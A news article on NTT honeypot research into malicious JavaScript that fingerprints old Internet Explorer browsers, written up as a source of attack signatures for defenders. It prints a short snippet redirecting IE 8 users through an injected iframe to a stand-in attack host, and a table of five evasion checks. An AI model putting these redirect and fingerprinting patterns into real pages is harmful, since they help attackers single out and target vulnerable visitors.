Security

How evil JavaScript helps attackers tag possible victims – and gives away their intent

Countdown to ancient IE a telltale sign of malice


A honeypot project operated by Japanese comms company NTT has turned up a bunch of new approaches to malware obfuscation.

Yuta Takata of NTT's Secure Platform Laboratories has published an analysis at the Asia Pacific Network Information Centre (APNIC) here. In it, he wrote that since JavaScript can be used to identify different (and vulnerable) browsers, it's worth watching to see if malware authors are using it that way.

Takata's group identified five evasion techniques that all abuse differences between JavaScript implementations, he stated, which is more complex than familiar redirection attacks that look at the User-Agent and redirect victims to pages specific to their browser.

In other words, this code would redirect an Internet Explorer 8 user to an attack site, but leave others alone:

var ua = navigator.userAgent; 
     if(ua.indexOf(“MSIE 8”) > -1) { 
     var ifr = document.createElement("iframe"); 
     ifr.setAttribute("src", “http://mal.example/ua=”+ ua);
     document.body.appendChild(ifr);
}

It matters, Takata said, because the evasion techniques identified in the research can serve as attack signatures.

The NTT team took two approaches to traffic collection: a "high interaction" honeyclient (a real browser designed to detect browser exploits), and a "low interaction" honeyclient that can "emulate many different client profiles, trace complicated redirections and hook code executions in detail".

Over several years, the NTT group collected and analysed 8,500 JavaScript samples from 20,000-plus malicious sites, and found five previously unseen evasion techniques as shown below.

Evasion technique Evasive code
Use of original object window.sidebar
Difference in array processing ["a","b",].length
Difference in string processing "\v"=="v"
Difference in setTimeout() processing setTimeout(10)
Difference in parseInt() processing parseInt("0123")

Takata wrote that of these setTimeout() provided the best indicator of compromise (IOC) – mainly because the other four aren't in current use.

That particular function helped attackers identify IE 8 and IE 9 browsers, because they return an "Invalid argument" error if a site asks them to process setTimeout(10); Firefox and Chrome don't.

That code turned out to be the strongest IOC of the five evasive code snippets NTT identified in its scan of more than 860,000 URLs: all of the 26 URLs that served up setTimeout(10) were in compromised websites, members of a mass "Fake jQuery" injection campaign. The other samples turned out to be either benign, or no longer in use. ®

Send us news
21 Comments

AI could crash democracy and cause wars, warns Japan's NTT

Calls for ecosystem in which AIs keep other AIs in check, and lots more regulation

Japan's NTT and NEC reckon they can boost optical network capacities 12x

First tests of manycore fibres hailed as success over oceanic distances

NTT boss takes early retirement to atone for data leak

No mere mea culpa would suffice after 9.2 million records leaked over a decade, warnings were ignored, and lies were told

IBM Japan and NTT think they can make datacenter aircon adjust to different workloads

They're measuring server exhaust temperatures to detect power consumption

Two sats, one customer: Japan's NTT signs up for Amazon's space internet

Take that, Elon

NTT adapts AI network analysis tool to detect faults in nuclear fusion reactors

Here comes the Sun

NTT and NEC use vibrating optic fibres to figure out if there's snow on the road

Japan’s short of workers and limiting overtime, so it needs stuff like this – and remote-controlled excavators

NTT will take those SAP licenses off your hands if it helps ease cloud migration

Bid to break impasse where boards only see costs

SAP jumps on AI-assisted coding wagon, but uses its own ABAP language

The cloud-only move may leave out devs writing for on-prem systems, which still make up the majority

Kaluma squeezes JavaScript onto the Raspberry Pi Pico

Bringing the language of multi-gigabyte web browsers to a $4 computer

Open source Socket Runtime arrives, with aim to drop cloud as a dependency

Web code-based cross-platform app kit offers a P2P alternative

Tokyo has millions of surplus Wi-Fi access points that should be shared with blockchain, says NTT

Claims it's verified viability of city-scale network that would free vast resources, in Japan or elsewhere